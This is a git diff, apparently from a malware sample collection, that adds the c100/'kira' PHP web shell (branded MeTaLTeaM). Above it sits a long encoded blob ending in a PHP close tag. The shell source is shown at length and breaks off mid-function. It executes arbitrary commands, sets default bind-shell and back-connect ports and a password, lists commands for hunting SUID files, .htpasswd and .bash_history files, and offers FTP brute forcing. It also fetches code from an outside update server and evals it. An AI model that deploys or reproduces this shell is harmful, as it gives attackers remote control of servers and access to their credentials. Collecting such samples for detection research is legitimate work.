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");?> diff --git a/data/samples/classic/c100.php b/data/samples/classic/c100.php new file mode 100644 index 0000000..529d1aa --- /dev/null +++ b/data/samples/classic/c100.php @@ -0,0 +1,3154 @@ +$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "MeTaLTeaM (ORG) was here"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("k1r4_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("k1r4_surl",$surl);} +else {$surl = $_REQUEST["k1r4_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["k1r4_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = " MeTaLTeaM . Org ".$shver.": access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$k1r4_updateurl = "http://emp3ror.com/kira//update/"; //Update server +$k1r4_sourcesurl = "http://emp3ror.com/kira/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "
Owned by MeTaLTeaM . O R G
"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "+-àèù@gmail.com"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "" (default) + string {closetag} - close html-tag, e.g. "" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"",""), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "k1r4"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "k1r4vars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("\"Home\"",$surl), + array("\"Back\"","#\" onclick=\"history.back(1)"), + array("\"Forward\"","#\" onclick=\"history.go(1)"), + array("\"UPDIR\"",$surl."act=ls&d=%upd&sort=%sort"), + array("\"Refresh\"",""), + array("\"Search\"",$surl."act=search&d=%d"), + array("\"Buffer\"",$surl."act=fsbuff&d=%d"), + array("Encoder",$surl."act=encoder&d=%d"), + array("Tools",$surl."act=tools&d=%d"), + array("Proc.",$surl."act=processes&d=%d"), + array("FTP brute",$surl."act=ftpquickbrute&d=%d"), + array("Sec.",$surl."act=security&d=%d"), + array("SQL",$surl."act=sql&d=%d"), + array("PHP-code",$surl."act=eval&d=%d"), + array("Update",$surl."act=update&d=%d"), + array("Feedback",$surl."act=feedback&d=%d"), + array("Self remove",$surl."act=selfremove"), + array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["k1r4cook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("kira: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"kira ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); k1r4_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("k1r4_buff_prepare")) +{ +function k1r4_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +k1r4_buff_prepare(); +if (!function_exists("k1r4_sess_put")) +{ +function k1r4_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + k1r4_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if (!function_exists("fs_rmobj")) +{ +function fs_rmobj($o) +{ + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) + { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +} +if (!function_exists("myshellexec")) +{ +function myshellexec($cmd) +{ + global $disablefunc; + $result = ""; + if (!empty($cmd)) + { + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } + } + return $result; +} +} +if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} +if (!function_exists("view_perms")) +{ +function view_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + + return $type.join("",$owner).join("",$group).join("",$world); +} +} +if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} +if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} +if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} +if (!function_exists("parse_perms")) +{ +function parse_perms($mode) +{ + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +} +if (!function_exists("parsesort")) +{ +function parsesort($sort) +{ + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +} +if (!function_exists("view_perms_color")) +{ +function view_perms_color($o) +{ + if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} + elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} + else {return "".view_perms(fileperms($o))."";} +} +} +if (!function_exists("k1r4getsource")) +{ +function k1r4getsource($fn) +{ + global $k1r4_sourcesurl; + $array = array( + "k1r4_bindport.pl" => "k1r4_bindport_pl.txt", + "k1r4_bindport.c" => "k1r4_bindport_c.txt", + "k1r4_backconn.pl" => "k1r4_backconn_pl.txt", + "k1r4_backconn.c" => "k1r4_backconn_c.txt", + "k1r4_datapipe.pl" => "k1r4_datapipe_pl.txt", + "k1r4_datapipe.c" => "k1r4_datapipe_c.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($k1r4_sourcesurl.$name);} + else {return FALSE;} +} +} +if (!function_exists("k1r4_getupdate")) +{ +function k1r4_getupdate($update = TRUE) +{ + $url = $GLOBALS["k1r4_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; + $data = @file_get_contents($url); + if (!$data) {return "Can't connect to update-server!";} + else + { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") + { + $string = explode("\x01",$string); + if ($update) + { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else + { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download kira.php manually here.";} + else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +} +if (!function_exists("mysql_dump")) +{ +function mysql_dump($set) +{ + global $shver; + $sock = $set["sock"]; + $db = $set["db"]; + $print = $set["print"]; + $nl2br = $set["nl2br"]; + $file = $set["file"]; + $add_drop = $set["add_drop"]; + $tabs = $set["tabs"]; + $onlytabs = $set["onlytabs"]; + $ret = array(); + $ret["err"] = array(); + if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} + if (empty($db)) {$db = "db";} + if (empty($print)) {$print = 0;} + if 